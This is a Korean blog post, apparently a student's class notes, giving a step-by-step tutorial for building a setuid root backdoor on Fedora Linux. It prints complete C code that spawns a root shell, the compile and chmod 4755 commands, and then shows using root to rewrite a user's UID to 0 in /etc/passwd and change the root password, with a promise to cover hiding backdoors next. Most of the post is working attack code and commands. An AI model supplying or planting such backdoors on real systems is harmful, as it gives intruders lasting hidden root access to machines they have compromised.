시스템보안(지식창고)

Setuid를 이용한 백도어 만들기(1) (Fedora Linux 상에서)

컴공 2013. 2. 15. 22:02
반응형

오늘은 컴퓨터 보안 수업시간에 배운 백도어 만드는 방법에 대해 포괄적으로 포스팅 해보겠습니다. 적지 않은 양이니 며칠에 걸쳐 써야 할지도 모르겠네요.

그럼 시작하겠습니다.

백도어(Backdoor)

백도어는 말 그대로 '뒷문'이라는 뜻입니다.

원래는 시스템 관리자가 관리·보수 상의 편의를 위해 만들어 놓은 보안 구멍을 가르키는 말입니다만, 흔히 해커가 루트 권한을 딴 후 나중에 쉽게 재침입 하기 위해 만들어 놓은 뒷문을 일컫는 데 쓰이곤 합니다.

백도어의 종류도 여러가지고, 만드는 방법 역시 많지만 이 글에서는 제가 배운 setuid를 이용한 백도어 생성에 대해 소개하겠습니다.

먼저, 이 방법에서 가장 핵심 개념인 setuid란 무엇일까요?

setuid모드란 파일을 어떤 사용자의 권한으로 실행할 지를 설정해 놓을 수 있는 모드입니다. 즉, setuid모드가 설정 되있는 파일을 실행 시키면, 그 파일은 파일의 소유자 권한으로 실행됩니다. 만약 루트 사용자가 만든 setuid에 일반사용자가 접근권한을 갖는다면, 일반사용자가 그 파일을 실행하는 동안은 잠시나마 루트 권한을 갖게 되는거죠. 이 개념의 허점을 이용한 것이 바로 백도어입니다.

Fedora 처럼 어느 정도 보안 체제가 갖춰진 리눅스 OS에서는 단순히 root 사용자 소유의 setuid파일을 실행시켰을 때 바로 루트권한을 획득하지 못하도록 막아놨습니다. 따라서 파일 내부에 이를 우회할 수 있는 코드 몇 줄을 적어주어야합니다.

우선 vi를 통해 backdoor.c 라는 파일을 만들어 엽니다.

#vi backdoor.c

빈파일이 열어졌다면 이제 다음 코드를 입력합니다.

#include<stdio.h>

main(){

setuid(0);

setgid(0);

system("/bin/sh");

}

입력이 완료된 후 wq!로 빠져나옵니다.

이제 코딩한 것을 컴파일 해줍니다.

#gcc -o backdoor backdoor.c

(만약 gcc가 깔려있지 않다면 #yum -y install gcc 로 깔아줍니다)

이 명령을 수행한 후 backdoor 라는 실행파일이 생성되는 것을 확인합니다.

이제 이 파일을 setuid 모드로 설정함과 동시에 루트 사용자 외에 일반 사용자도 이 파일에 접근할 수 있도록 접근권한을 수정해줍니다.

#chmod 4755 backdoor

여기서 4는 setuid모드로 설정하는 숫자입니다. 그리고 755의 마지막 숫자 5가 바로 일반사용자의 접근권한을 의미하는데, x 권한, 즉 실행 권한이 있으므로 일반사용자도 이 파일을 실행할 수 있게 됩니다.

이제 백도어 생성이 끝났습니다. 일반사용자 모드로 접속했을 때 backdoor파일을 실행하면 루트권한으로 상승됨을 확인 할 수 있습니다.

그림을 통해 실행 결과를 확인해보겠습니다.

일반 사용자 fedora에서 $id를 입력하였더니 보시는 대로 fedora의 권한이 표시됩니다.

그런데 ./backdoor 로 백도어를 실행한 후 $id를 입력하였더니 루트 권한으로 상승되었네요. 성공입니다!

루트권한을 얻은 상태에서 다음 두가지 명령을 실행 할 수 있습니다.

먼저 sh-4.0#vi /etc/passwd 명령어를 입력하여 사용자 관리 파일을 엽니다. 그리고 자신의 일반사용자 id를 찾아 이 id의 권한을 관리자 권한과 동급으로 승격시킬 수 있습니다.

빨간 네모박스 안이 500:500 이었던 것을 0:0으로 수정하였습니다. 이렇게 한뒤 :wq!로 저장하고 나오면 다음번에 fedora로 접속할 시 관리자 권한을 얻게 됩니다.

다음으로 루트 암호를 바꿔볼 수 있습니다.

sh-4.0#passwd root 명령어를 입력해 봅니다.

루트 암호를 변경할 수 있네요.

그러나 이는 자신이 이 컴퓨터를 해킹하였다고 광고하는 것과 다름 없는 경우이기 때문에 해커들은 이렇게 관리자 암호를 바꾸는 행동은 하지 않습니다.

다음번에는 백도어를 만드는 두번째 방법과, 백도어를 들키지 않게 숨기는 방법에 대해 포스팅 하겠습니다. 좋은 하루 되세요!

반응형